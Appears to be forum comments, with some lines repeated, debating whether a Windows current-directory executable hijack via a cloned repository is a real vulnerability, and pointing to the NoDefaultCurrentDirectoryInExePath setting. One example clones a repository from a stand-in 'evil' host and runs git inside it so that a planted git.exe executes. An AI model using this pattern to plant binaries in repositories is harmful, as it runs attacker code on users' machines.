Same thing happens if I have a:
1) PS1 that displays the current git branch
2) Include the current directory in my PATH
Should we file a high severity CVE with bash now?
1) PS1 that displays the current git branch
2) Include the current directory in my PATH
Should we file a high severity CVE with bash now?
> cd C:\Temp
> copy "C:\Program Files\Git\bin\git.exe" .\fred.exe
> fred
fred: The term 'fred' is not recognized as a name of a cmdlet, function, script file, or executable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again. > git clone git://evil evil
> cd evil\
> git status
The last line would execute git.exe from the cloned repo, wouldn't it?Look for `NoDefaultCurrentDirectoryInExePath` if you want to learn about Windows.